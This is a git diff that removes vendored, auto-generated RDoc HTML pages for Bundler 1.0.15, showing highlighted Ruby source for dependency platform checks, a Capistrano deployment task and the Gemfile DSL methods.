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-		</div>
-	
-		<div id="private-instance-method-details" class="method-section section">
-			<h3 class="section-header">Private Instance Methods</h3>
-
-		
-			<div id="jruby--method" class="method-detail ">
-				<a name="method-i-jruby%3F"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">jruby?</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
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-				</div>
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-				<div class="method-description">
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-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/dependency.rb, line 115</span>
-115:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">jruby?</span>
-116:       <span class="ruby-keyword kw">defined?</span>(<span class="ruby-constant">RUBY_ENGINE</span>) <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-constant">RUBY_ENGINE</span> <span class="ruby-operator">==</span> <span class="ruby-value str">&quot;jruby&quot;</span>
-117:     <span class="ruby-keyword kw">end</span></pre>
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-123:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">mingw?</span>
-124:       <span class="ruby-constant">Bundler</span><span class="ruby-operator">::</span><span class="ruby-constant">WINDOWS</span> <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">Platform</span>.<span class="ruby-identifier">local</span>.<span class="ruby-identifier">os</span> <span class="ruby-operator">==</span> <span class="ruby-value str">&quot;mingw32&quot;</span>
-125:     <span class="ruby-keyword kw">end</span></pre>
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-127:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">mingw_18?</span>
-128:       <span class="ruby-identifier">mingw?</span> <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-constant">RUBY_VERSION</span> <span class="ruby-operator">&lt;</span> <span class="ruby-value str">&quot;1.9&quot;</span>
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-131:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">mingw_19?</span>
-132:       <span class="ruby-identifier">mingw?</span> <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-constant">RUBY_VERSION</span> <span class="ruby-operator">&gt;=</span> <span class="ruby-value str">&quot;1.9&quot;</span>
-133:     <span class="ruby-keyword kw">end</span></pre>
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- 99:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">mri?</span>
-100:       <span class="ruby-operator">!</span><span class="ruby-identifier">mswin?</span> <span class="ruby-operator">&amp;&amp;</span> (<span class="ruby-operator">!</span><span class="ruby-keyword kw">defined?</span>(<span class="ruby-constant">RUBY_ENGINE</span>) <span class="ruby-operator">||</span> <span class="ruby-constant">RUBY_ENGINE</span> <span class="ruby-operator">==</span> <span class="ruby-value str">&quot;ruby&quot;</span>)
-101:     <span class="ruby-keyword kw">end</span></pre>
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-103:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">mri_18?</span>
-104:       <span class="ruby-identifier">mri?</span> <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-constant">RUBY_VERSION</span> <span class="ruby-operator">&lt;</span> <span class="ruby-value str">&quot;1.9&quot;</span>
-105:     <span class="ruby-keyword kw">end</span></pre>
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-107:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">mri_19?</span>
-108:       <span class="ruby-identifier">mri?</span> <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-constant">RUBY_VERSION</span> <span class="ruby-operator">&gt;=</span> <span class="ruby-value str">&quot;1.9&quot;</span>
-109:     <span class="ruby-keyword kw">end</span></pre>
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-119:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">mswin?</span>
-120:       <span class="ruby-constant">Bundler</span><span class="ruby-operator">::</span><span class="ruby-constant">WINDOWS</span>
-121:     <span class="ruby-keyword kw">end</span></pre>
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-111:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">rbx?</span>
-112:       <span class="ruby-identifier">ruby?</span> <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-keyword kw">defined?</span>(<span class="ruby-constant">RUBY_ENGINE</span>) <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-constant">RUBY_ENGINE</span> <span class="ruby-operator">==</span> <span class="ruby-value str">&quot;rbx&quot;</span>
-113:     <span class="ruby-keyword kw">end</span></pre>
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-    <span class="ruby-comment cmt"># File lib/bundler/dependency.rb, line 87</span>
-87:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">ruby?</span>
-88:       <span class="ruby-operator">!</span><span class="ruby-identifier">mswin?</span> <span class="ruby-operator">&amp;&amp;</span> (<span class="ruby-operator">!</span><span class="ruby-keyword kw">defined?</span>(<span class="ruby-constant">RUBY_ENGINE</span>) <span class="ruby-operator">||</span> <span class="ruby-constant">RUBY_ENGINE</span> <span class="ruby-operator">==</span> <span class="ruby-value str">&quot;ruby&quot;</span> <span class="ruby-operator">||</span> <span class="ruby-constant">RUBY_ENGINE</span> <span class="ruby-operator">==</span> <span class="ruby-value str">&quot;rbx&quot;</span>)
-89:     <span class="ruby-keyword kw">end</span></pre>
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-    <span class="ruby-comment cmt"># File lib/bundler/dependency.rb, line 91</span>
-91:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">ruby_18?</span>
-92:       <span class="ruby-identifier">ruby?</span> <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-constant">RUBY_VERSION</span> <span class="ruby-operator">&lt;</span> <span class="ruby-value str">&quot;1.9&quot;</span>
-93:     <span class="ruby-keyword kw">end</span></pre>
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-    <span class="ruby-comment cmt"># File lib/bundler/dependency.rb, line 95</span>
-95:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">ruby_19?</span>
-96:       <span class="ruby-identifier">ruby?</span> <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-constant">RUBY_VERSION</span> <span class="ruby-operator">&gt;=</span> <span class="ruby-value str">&quot;1.9&quot;</span>
-97:     <span class="ruby-keyword kw">end</span></pre>
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/Deployment.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/Deployment.html
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-<?xml version="1.0" encoding="utf-8"?>
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-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
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-	<title>Class: Bundler::Deployment</title>
-
-	<link rel="stylesheet" href="../rdoc.css" type="text/css" media="screen" />
-
-	<script src="../js/jquery.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../js/thickbox-compressed.js" type="text/javascript"
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-	<script src="../js/quicksearch.js" type="text/javascript"
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-</head>
-<body class="class">
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-	<div id="metadata">
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-			<div id="home-section" class="section">
-        <h3 class="section-header">
-          <a href="../index.html">Home</a>
-          <a href="../index.html#classes">Classes</a>
-          <a href="../index.html#methods">Methods</a>
-        </h3>
-			</div>
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-		<div id="file-metadata">
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-					<ul>
-					
-						<li><a href="../lib/bundler/deployment_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
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-					<li class="file"><a href="../lib/bundler/man/bundle.html">bundle</a></li>
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-						title="show/hide quicksearch" /></span></h3>
-				<form action="#" method="get" accept-charset="utf-8" class="initially-hidden">
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-				<ul class="link-list">
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-					<li><a href="../Bundler.html">Bundler</a></li>
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-					<li><a href="../Bundler/BundlerError.html">Bundler::BundlerError</a></li>
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-		<h1 class="class">Bundler::Deployment</h1>
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-    <span class="ruby-comment cmt"># File lib/bundler/deployment.rb, line 3</span>
- 3:     <span class="ruby-keyword kw">def</span> <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">define_task</span>(<span class="ruby-identifier">context</span>, <span class="ruby-identifier">task_method</span> = <span class="ruby-value">:task</span>, <span class="ruby-identifier">opts</span> = {})
- 4:       <span class="ruby-keyword kw">if</span> <span class="ruby-keyword kw">defined?</span>(<span class="ruby-constant">Capistrano</span>) <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-identifier">context</span>.<span class="ruby-identifier">is_a?</span>(<span class="ruby-constant">Capistrano</span><span class="ruby-operator">::</span><span class="ruby-constant">Configuration</span>)
- 5:         <span class="ruby-identifier">context_name</span> = <span class="ruby-value str">&quot;capistrano&quot;</span>
- 6:         <span class="ruby-identifier">role_default</span> = <span class="ruby-value str">&quot;{:except =&gt; {:no_release =&gt; true}}&quot;</span>
- 7:       <span class="ruby-keyword kw">else</span>
- 8:         <span class="ruby-identifier">context_name</span> = <span class="ruby-value str">&quot;vlad&quot;</span>
- 9:         <span class="ruby-identifier">role_default</span> = <span class="ruby-value str">&quot;[:app]&quot;</span>
-10:       <span class="ruby-keyword kw">end</span>
-11: 
-12:       <span class="ruby-identifier">roles</span> = <span class="ruby-identifier">context</span>.<span class="ruby-identifier">fetch</span>(<span class="ruby-value">:bundle_roles</span>, <span class="ruby-keyword kw">false</span>)
-13:       <span class="ruby-identifier">opts</span>[<span class="ruby-value">:roles</span>] = <span class="ruby-identifier">roles</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">roles</span>
-14: 
-15:       <span class="ruby-identifier">context</span>.<span class="ruby-identifier">send</span> <span class="ruby-value">:namespace</span>, <span class="ruby-value">:bundle</span> <span class="ruby-keyword kw">do</span>
-16:         <span class="ruby-identifier">send</span> <span class="ruby-value">:desc</span>, <span class="ruby-value str">          Install the current Bundler environment. By default, gems will be \          installed to the shared/bundle path. Gems in the development and \          test group will not be installed. The install command is executed \          with the --deployment and --quiet flags. If the bundle cmd cannot \          be found then you can override the bundle_cmd variable to specifiy \          which one it should use.          You can override any of these defaults by setting the variables shown below.          N.B. bundle_roles must be defined before you require 'bundler/#{context_name}' \          in your deploy.rb file.            set :bundle_gemfile,  &quot;Gemfile&quot;            set :bundle_dir,      File.join(fetch(:shared_path), 'bundle')            set :bundle_flags,    &quot;--deployment --quiet&quot;            set :bundle_without,  [:development, :test]            set :bundle_cmd,      &quot;bundle&quot; # e.g. &quot;/opt/ruby/bin/bundle&quot;            set :bundle_roles,    #{role_default} # e.g. [:app, :batch]</span>
-17:         <span class="ruby-identifier">send</span> <span class="ruby-identifier">task_method</span>, <span class="ruby-value">:install</span>, <span class="ruby-identifier">opts</span> <span class="ruby-keyword kw">do</span>
-18:           <span class="ruby-identifier">bundle_cmd</span>     = <span class="ruby-identifier">context</span>.<span class="ruby-identifier">fetch</span>(<span class="ruby-value">:bundle_cmd</span>, <span class="ruby-value str">&quot;bundle&quot;</span>)
-19:           <span class="ruby-identifier">bundle_flags</span>   = <span class="ruby-identifier">context</span>.<span class="ruby-identifier">fetch</span>(<span class="ruby-value">:bundle_flags</span>, <span class="ruby-value str">&quot;--deployment --quiet&quot;</span>)
-20:           <span class="ruby-identifier">bundle_dir</span>     = <span class="ruby-identifier">context</span>.<span class="ruby-identifier">fetch</span>(<span class="ruby-value">:bundle_dir</span>, <span class="ruby-constant">File</span>.<span class="ruby-identifier">join</span>(<span class="ruby-identifier">context</span>.<span class="ruby-identifier">fetch</span>(<span class="ruby-value">:shared_path</span>), <span class="ruby-value str">'bundle'</span>))
-21:           <span class="ruby-identifier">bundle_gemfile</span> = <span class="ruby-identifier">context</span>.<span class="ruby-identifier">fetch</span>(<span class="ruby-value">:bundle_gemfile</span>, <span class="ruby-value str">&quot;Gemfile&quot;</span>)
-22:           <span class="ruby-identifier">bundle_without</span> = [*<span class="ruby-identifier">context</span>.<span class="ruby-identifier">fetch</span>(<span class="ruby-value">:bundle_without</span>, [<span class="ruby-value">:development</span>, <span class="ruby-value">:test</span>])].<span class="ruby-identifier">compact</span>
-23: 
-24:           <span class="ruby-identifier">args</span> = [<span class="ruby-node">&quot;--gemfile #{File.join(context.fetch(:current_release), bundle_gemfile)}&quot;</span>]
-25:           <span class="ruby-identifier">args</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-node">&quot;--path #{bundle_dir}&quot;</span> <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">bundle_dir</span>.<span class="ruby-identifier">to_s</span>.<span class="ruby-identifier">empty?</span>
-26:           <span class="ruby-identifier">args</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">bundle_flags</span>.<span class="ruby-identifier">to_s</span>
-27:           <span class="ruby-identifier">args</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-node">&quot;--without #{bundle_without.join(&quot; &quot;)}&quot;</span> <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">bundle_without</span>.<span class="ruby-identifier">empty?</span>
-28: 
-29:           <span class="ruby-identifier">run</span> <span class="ruby-node">&quot;cd #{context.fetch(:current_release)} &amp;&amp; #{bundle_cmd} install #{args.join(' ')}&quot;</span>
-30:         <span class="ruby-keyword kw">end</span>
-31:       <span class="ruby-keyword kw">end</span>
-32:     <span class="ruby-keyword kw">end</span></pre>
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/Dsl.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/Dsl.html
deleted file mode 100644
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--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/Dsl.html
+++ /dev/null
@@ -1,1129 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
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-				<h3 class="section-header">Methods</h3>
-				<ul class="link-list">
-					
-					<li><a href="#method-c-deprecate">::deprecate</a></li>
-					
-					<li><a href="#method-c-evaluate">::evaluate</a></li>
-					
-					<li><a href="#method-c-new">::new</a></li>
-					
-					<li><a href="#method-i-_deprecated_options">#_deprecated_options</a></li>
-					
-					<li><a href="#method-i-_normalize_hash">#_normalize_hash</a></li>
-					
-					<li><a href="#method-i-_normalize_options">#_normalize_options</a></li>
-					
-					<li><a href="#method-i-env">#env</a></li>
-					
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-					
-					<li><a href="#method-i-gemspec">#gemspec</a></li>
-					
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-					<li><a href="#method-i-group">#group</a></li>
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-					
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-					<li><a href="#method-i-rubygems_source">#rubygems_source</a></li>
-					
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-					
-					<li><a href="#method-i-to_definition">#to_definition</a></li>
-					
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-				
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-				
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-				
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-		<h1 class="class">Bundler::Dsl</h1>
-
-		<div id="description">
-			
-		</div>
-
-		<!-- Constants -->
-		
-		<div id="constants-list" class="section">
-			<h3 class="section-header">Constants</h3>
-			<dl>
-			
-				<dt><a name="VALID_PLATFORMS">VALID_PLATFORMS</a></dt>
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-			<h3 class="section-header">Public Class Methods</h3>
-
-		
-			<div id="deprecate-method" class="method-detail ">
-				<a name="method-c-deprecate"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">deprecate</span><span
-						class="method-args">(name, replacement = nil)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Deprecated methods
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="deprecate-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/dsl.rb, line 144</span>
-144:     <span class="ruby-keyword kw">def</span> <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">deprecate</span>(<span class="ruby-identifier">name</span>, <span class="ruby-identifier">replacement</span> = <span class="ruby-keyword kw">nil</span>)
-145:       <span class="ruby-identifier">define_method</span>(<span class="ruby-identifier">name</span>) <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span>*<span class="ruby-operator">|</span>
-146:         <span class="ruby-identifier">message</span> = <span class="ruby-node">&quot;'#{name}' has been removed from the Gemfile DSL, &quot;</span>
-147:         <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">replacement</span>
-148:           <span class="ruby-identifier">message</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-node">&quot;and has been replaced with '#{replacement}'.&quot;</span>
-149:         <span class="ruby-keyword kw">else</span>
-150:           <span class="ruby-identifier">message</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-value str">&quot;and is no longer supported.&quot;</span>
-151:         <span class="ruby-keyword kw">end</span>
-152:         <span class="ruby-identifier">message</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-value str">&quot;\nSee the README for more information on upgrading from Bundler 0.8.&quot;</span>
-153:         <span class="ruby-identifier">raise</span> <span class="ruby-constant">DeprecatedError</span>, <span class="ruby-identifier">message</span>
-154:       <span class="ruby-keyword kw">end</span>
-155:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
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-			</div>
-
-		
-			<div id="evaluate-method" class="method-detail ">
-				<a name="method-c-evaluate"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">evaluate</span><span
-						class="method-args">(gemfile, lockfile, unlock)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
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-				<div class="method-description">
-					
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-					<div class="method-source-code"
-						id="evaluate-source">
-<pre>
-   <span class="ruby-comment cmt"># File lib/bundler/dsl.rb, line 5</span>
-5:     <span class="ruby-keyword kw">def</span> <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">evaluate</span>(<span class="ruby-identifier">gemfile</span>, <span class="ruby-identifier">lockfile</span>, <span class="ruby-identifier">unlock</span>)
-6:       <span class="ruby-identifier">builder</span> = <span class="ruby-identifier">new</span>
-7:       <span class="ruby-identifier">builder</span>.<span class="ruby-identifier">instance_eval</span>(<span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">read_file</span>(<span class="ruby-identifier">gemfile</span>.<span class="ruby-identifier">to_s</span>), <span class="ruby-identifier">gemfile</span>.<span class="ruby-identifier">to_s</span>, <span class="ruby-value">1</span>)
-8:       <span class="ruby-identifier">builder</span>.<span class="ruby-identifier">to_definition</span>(<span class="ruby-identifier">lockfile</span>, <span class="ruby-identifier">unlock</span>)
-9:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-
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-
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-			<div id="new-method" class="method-detail ">
-				<a name="method-c-new"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">new</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
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-				<div class="method-description">
-					
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-					<div class="method-source-code"
-						id="new-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/dsl.rb, line 13</span>
-13:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">initialize</span>
-14:       <span class="ruby-ivar">@rubygems_source</span> = <span class="ruby-constant">Source</span><span class="ruby-operator">::</span><span class="ruby-constant">Rubygems</span>.<span class="ruby-identifier">new</span>
-15:       <span class="ruby-ivar">@source</span>          = <span class="ruby-keyword kw">nil</span>
-16:       <span class="ruby-ivar">@sources</span>         = []
-17:       <span class="ruby-ivar">@dependencies</span>    = []
-18:       <span class="ruby-ivar">@groups</span>          = []
-19:       <span class="ruby-ivar">@platforms</span>       = []
-20:       <span class="ruby-ivar">@env</span>             = <span class="ruby-keyword kw">nil</span>
-21:     <span class="ruby-keyword kw">end</span></pre>
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-
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-
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-		</div>
-	
-		<div id="public-instance-method-details" class="method-section section">
-			<h3 class="section-header">Public Instance Methods</h3>
-
-		
-			<div id="env-method" class="method-detail ">
-				<a name="method-i-env"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">env</span><span
-						class="method-args">(name)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
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-				<div class="method-description">
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-						id="env-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/dsl.rb, line 135</span>
-135:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">env</span>(<span class="ruby-identifier">name</span>)
-136:       <span class="ruby-ivar">@env</span>, <span class="ruby-identifier">old</span> = <span class="ruby-identifier">name</span>, <span class="ruby-ivar">@env</span>
-137:       <span class="ruby-keyword kw">yield</span>
-138:     <span class="ruby-keyword kw">ensure</span>
-139:       <span class="ruby-ivar">@env</span> = <span class="ruby-identifier">old</span>
-140:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
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-
-				
-
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-			</div>
-
-		
-			<div id="gem-method" class="method-detail ">
-				<a name="method-i-gem"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">gem</span><span
-						class="method-args">(name, *args)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
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-				<div class="method-description">
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-					<div class="method-source-code"
-						id="gem-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/dsl.rb, line 47</span>
-47:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">gem</span>(<span class="ruby-identifier">name</span>, *<span class="ruby-identifier">args</span>)
-48:       <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">name</span>.<span class="ruby-identifier">is_a?</span>(<span class="ruby-constant">Symbol</span>)
-49:         <span class="ruby-identifier">raise</span> <span class="ruby-constant">GemfileError</span>, <span class="ruby-node">%{You need to specify gem names as Strings. Use 'gem &quot;#{name.to_s}&quot;' instead.}</span>
-50:       <span class="ruby-keyword kw">end</span>
-51: 
-52:       <span class="ruby-identifier">options</span> = <span class="ruby-constant">Hash</span> <span class="ruby-operator">===</span> <span class="ruby-identifier">args</span>.<span class="ruby-identifier">last</span> <span class="ruby-operator">?</span> <span class="ruby-identifier">args</span>.<span class="ruby-identifier">pop</span> <span class="ruby-operator">:</span> {}
-53:       <span class="ruby-identifier">version</span> = <span class="ruby-identifier">args</span> <span class="ruby-operator">||</span> [<span class="ruby-value str">&quot;&gt;= 0&quot;</span>]
-54: 
-55:       <span class="ruby-identifier">_deprecated_options</span>(<span class="ruby-identifier">options</span>)
-56:       <span class="ruby-identifier">_normalize_options</span>(<span class="ruby-identifier">name</span>, <span class="ruby-identifier">version</span>, <span class="ruby-identifier">options</span>)
-57: 
-58:       <span class="ruby-identifier">dep</span> = <span class="ruby-constant">Dependency</span>.<span class="ruby-identifier">new</span>(<span class="ruby-identifier">name</span>, <span class="ruby-identifier">version</span>, <span class="ruby-identifier">options</span>)
-59: 
-60:       <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">current</span> = <span class="ruby-ivar">@dependencies</span>.<span class="ruby-identifier">find</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">d</span><span class="ruby-operator">|</span> <span class="ruby-identifier">d</span>.<span class="ruby-identifier">name</span> <span class="ruby-operator">==</span> <span class="ruby-identifier">dep</span>.<span class="ruby-identifier">name</span> }
-61:         <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">current</span>.<span class="ruby-identifier">requirement</span> <span class="ruby-operator">!=</span> <span class="ruby-identifier">dep</span>.<span class="ruby-identifier">requirement</span>
-62:           <span class="ruby-identifier">raise</span> <span class="ruby-constant">DslError</span>, <span class="ruby-value str">&quot;You cannot specify the same gem twice with different version requirements. &quot;</span>                            <span class="ruby-node">&quot;You specified: #{current.name} (#{current.requirement}) and &quot;</span>                            <span class="ruby-node">&quot;#{dep.name} (#{dep.requirement})&quot;</span>
-63:         <span class="ruby-keyword kw">end</span>
-64: 
-65:         <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">current</span>.<span class="ruby-identifier">source</span> <span class="ruby-operator">!=</span> <span class="ruby-identifier">dep</span>.<span class="ruby-identifier">source</span>
-66:           <span class="ruby-identifier">raise</span> <span class="ruby-constant">DslError</span>, <span class="ruby-value str">&quot;You cannot specify the same gem twice coming from different sources. You &quot;</span>                            <span class="ruby-node">&quot;specified that #{dep.name} (#{dep.requirement}) should come from &quot;</span>                            <span class="ruby-node">&quot;#{current.source || 'an unspecfied source'} and #{dep.source}&quot;</span>
-67:         <span class="ruby-keyword kw">end</span>
-68:       <span class="ruby-keyword kw">end</span>
-69:       <span class="ruby-ivar">@dependencies</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-constant">Dependency</span>.<span class="ruby-identifier">new</span>(<span class="ruby-identifier">name</span>, <span class="ruby-identifier">version</span>, <span class="ruby-identifier">options</span>)
-70:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-
-				
-
-				
-			</div>
-
-		
-			<div id="gemspec-method" class="method-detail ">
-				<a name="method-i-gemspec"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">gemspec</span><span
-						class="method-args">(opts = nil)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="gemspec-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/dsl.rb, line 23</span>
-23:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">gemspec</span>(<span class="ruby-identifier">opts</span> = <span class="ruby-keyword kw">nil</span>)
-24:       <span class="ruby-identifier">path</span>              = <span class="ruby-identifier">opts</span> <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-identifier">opts</span>[<span class="ruby-value">:path</span>] <span class="ruby-operator">||</span> <span class="ruby-value str">'.'</span>
-25:       <span class="ruby-identifier">name</span>              = <span class="ruby-identifier">opts</span> <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-identifier">opts</span>[<span class="ruby-value">:name</span>] <span class="ruby-operator">||</span> <span class="ruby-value str">'*'</span>
-26:       <span class="ruby-identifier">development_group</span> = <span class="ruby-identifier">opts</span> <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-identifier">opts</span>[<span class="ruby-value">:development_group</span>] <span class="ruby-operator">||</span> <span class="ruby-value">:development</span>
-27:       <span class="ruby-identifier">path</span>              = <span class="ruby-constant">File</span>.<span class="ruby-identifier">expand_path</span>(<span class="ruby-identifier">path</span>, <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">default_gemfile</span>.<span class="ruby-identifier">dirname</span>)
-28:       <span class="ruby-identifier">gemspecs</span> = <span class="ruby-constant">Dir</span>[<span class="ruby-constant">File</span>.<span class="ruby-identifier">join</span>(<span class="ruby-identifier">path</span>, <span class="ruby-node">&quot;#{name}.gemspec&quot;</span>)]
-29: 
-30:       <span class="ruby-keyword kw">case</span> <span class="ruby-identifier">gemspecs</span>.<span class="ruby-identifier">size</span>
-31:       <span class="ruby-keyword kw">when</span> <span class="ruby-value">1</span>
-32:         <span class="ruby-identifier">spec</span> = <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">load_gemspec</span>(<span class="ruby-identifier">gemspecs</span>.<span class="ruby-identifier">first</span>)
-33:         <span class="ruby-identifier">raise</span> <span class="ruby-constant">InvalidOption</span>, <span class="ruby-node">&quot;There was an error loading the gemspec at #{gemspecs.first}.&quot;</span> <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">spec</span>
-34:         <span class="ruby-identifier">gem</span> <span class="ruby-identifier">spec</span>.<span class="ruby-identifier">name</span>, <span class="ruby-value">:path</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">path</span>
-35:         <span class="ruby-identifier">group</span>(<span class="ruby-identifier">development_group</span>) <span class="ruby-keyword kw">do</span>
-36:           <span class="ruby-identifier">spec</span>.<span class="ruby-identifier">development_dependencies</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">dep</span><span class="ruby-operator">|</span>
-37:             <span class="ruby-identifier">gem</span> <span class="ruby-identifier">dep</span>.<span class="ruby-identifier">name</span>, *<span class="ruby-identifier">dep</span>.<span class="ruby-identifier">requirement</span>.<span class="ruby-identifier">as_list</span>
-38:           <span class="ruby-keyword kw">end</span>
-39:         <span class="ruby-keyword kw">end</span>
-40:       <span class="ruby-keyword kw">when</span> <span class="ruby-value">0</span>
-41:         <span class="ruby-identifier">raise</span> <span class="ruby-constant">InvalidOption</span>, <span class="ruby-node">&quot;There are no gemspecs at #{path}.&quot;</span>
-42:       <span class="ruby-keyword kw">else</span>
-43:         <span class="ruby-identifier">raise</span> <span class="ruby-constant">InvalidOption</span>, <span class="ruby-node">&quot;There are multiple gemspecs at #{path}. Please use the :name option to specify which one.&quot;</span>
-44:       <span class="ruby-keyword kw">end</span>
-45:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-				</div>
-
-				
-
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-			</div>
-
-		
-			<div id="git-method" class="method-detail ">
-				<a name="method-i-git"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">git</span><span
-						class="method-args">(uri, options = {}, source_options = {}, &blk)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="git-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/dsl.rb, line 99</span>
- 99:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">git</span>(<span class="ruby-identifier">uri</span>, <span class="ruby-identifier">options</span> = {}, <span class="ruby-identifier">source_options</span> = {}, &amp;<span class="ruby-identifier">blk</span>)
-100:       <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">block_given?</span>
-101:         <span class="ruby-identifier">msg</span> = <span class="ruby-value str">&quot;You can no longer specify a git source by itself. Instead, \n&quot;</span>                <span class="ruby-value str">&quot;either use the :git option on a gem, or specify the gems that \n&quot;</span>                <span class="ruby-value str">&quot;bundler should find in the git source by passing a block to \n&quot;</span>                <span class="ruby-value str">&quot;the git method, like: \n\n&quot;</span>                <span class="ruby-value str">&quot;  git 'git://github.com/rails/rails.git' do\n&quot;</span>                <span class="ruby-value str">&quot;    gem 'rails'\n&quot;</span>                <span class="ruby-value str">&quot;  end&quot;</span>
-102:         <span class="ruby-identifier">raise</span> <span class="ruby-constant">DeprecatedError</span>, <span class="ruby-identifier">msg</span>
-103:       <span class="ruby-keyword kw">end</span>
-104: 
-105:       <span class="ruby-identifier">source</span> <span class="ruby-constant">Source</span><span class="ruby-operator">::</span><span class="ruby-constant">Git</span>.<span class="ruby-identifier">new</span>(<span class="ruby-identifier">_normalize_hash</span>(<span class="ruby-identifier">options</span>).<span class="ruby-identifier">merge</span>(<span class="ruby-value str">&quot;uri&quot;</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">uri</span>)), <span class="ruby-identifier">source_options</span>, &amp;<span class="ruby-identifier">blk</span>
-106:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
